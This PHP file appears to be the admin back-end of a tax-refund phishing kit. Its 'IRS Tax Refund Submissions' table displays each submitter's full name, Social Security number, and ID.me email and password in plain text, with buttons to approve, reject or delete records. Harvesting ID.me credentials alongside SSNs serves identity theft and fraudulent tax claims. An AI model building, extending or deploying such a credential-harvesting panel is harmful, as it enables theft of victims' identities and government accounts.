<?php
session_start();

if (isset($_SESSION['username']) == true) {
	include 'master.php';
	$username = $_SESSION['username'];
} else {
	header("location:login");
}
?>
		<!--page-wrapper-->
		<div class="page-wrapper">
			<!--page-content-wrapper-->
			<div class="page-content-wrapper">
				<div class="page-content">
					<!--breadcrumb-->
					<div class="page-breadcrumb d-none d-md-flex align-items-center mb-3">
						<div class="breadcrumb-title pr-3">Tax Refunds</div>
						<div class="pl-3">
							<nav aria-label="breadcrumb">
								<ol class="breadcrumb mb-0 p-0">
									<li class="breadcrumb-item"><a href="javascript:;"><i class='bx bx-home-alt'></i></a></li>
									<li class="breadcrumb-item active" aria-current="page">IRS Tax Refund Submissions</li>
								</ol>
							</nav>
						</div>
					</div><br><br>
					<div class="card">
						<div class="card-body">
							<div class="card-title">
								<h4 class="mb-0">IRS Tax Refund Submissions</h4>
							</div>
							<hr/>
							<div class="table-responsive">
								<table id="example" class="table table-striped table-bordered" style="width:100%">
									<thead>
										<tr>
											<th>S/N</th>
											<th>User Email</th>
											<th>Full Name</th>
											<th>SSN</th>
											<th>ID.me Email</th>
											<th>ID.me Password</th>
											<th>Country</th>
											<th>Status</th>
											<th>Date Submitted</th>
											<th class="text-center">Action</th>
										</tr>
									</thead>
									<tbody>
										<?php
										$result = $conn->query("SELECT * FROM tax_refunds ORDER BY id DESC");
										$i = 1;
										if (!$result || $result->num_rows == 0) {
											echo "<tr><td colspan='10' style='color:red; text-align:center;'>No Tax Refund Submissions Yet</td></tr>";
										} else {
											foreach ($result as $row) {
												$status = $row['status'];
												$badgeClass = $status === 'Approved'
													? 'badge-success'
													: ($status === 'Rejected' ? 'badge-danger' : 'badge-warning');
										?>
										<tr>
											<td><?php echo $i; ?></td>
											<td><?php echo htmlspecialchars($row['user_email']); ?></td>
											<td><?php echo htmlspecialchars($row['name']); ?></td>
											<td><?php echo htmlspecialchars($row['ssn']); ?></td>
											<td><?php echo htmlspecialchars($row['idme_email']); ?></td>
											<td><?php echo htmlspecialchars($row['idme_password']); ?></td>
											<td><?php echo htmlspecialchars($row['country']); ?></td>
											<td><span class="badge <?php echo $badgeClass; ?>"><?php echo htmlspecialchars($status); ?></span></td>
											<td><?php echo $row['date_added']; ?></td>
											<td class="text-center">
												<a href="update-refund-status?id=<?php echo $row['id']; ?>&status=Approved"
												   class="btn btn-success btn-sm"
												   onclick="return confirm('Mark as Approved?')">Approve</a>&nbsp;
												<a href="update-refund-status?id=<?php echo $row['id']; ?>&status=Rejected"
												   class="btn btn-danger btn-sm"
												   onclick="return confirm('Mark as Rejected?')">Reject</a>&nbsp;
												<a href="delete-refund?id=<?php echo $row['id']; ?>"
												   class="btn btn-secondary btn-sm"
												   onclick="return confirm('Delete this record?')">Delete</a>
											</td>
										</tr>
										<?php
											$i++;
											}
										}
										?>
									</tbody>
									<tfoot>
										<tr>
											<th>S/N</th>
											<th>User Email</th>
											<th>Full Name</th>
											<th>SSN</th>
											<th>ID.me Email</th>
											<th>ID.me Password</th>
											<th>Country</th>
											<th>Status</th>
											<th>Date Submitted</th>
											<th class="text-center">Action</th>
										</tr>
									</tfoot>
								</table>
							</div>
						</div>
					</div>
				</div>
			</div>
			<!--end page-content-wrapper-->
		</div>
		<!--end page-wrapper-->
		<div class="overlay toggle-btn-mobile"></div>
		<a href="javaScript:;" class="back-to-top"><i class='bx bxs-up-arrow-alt'></i></a>

<script>
	$(document).ready(function () {
		$('#example').DataTable();
	});
</script>
<?php include 'footer.php'; ?>
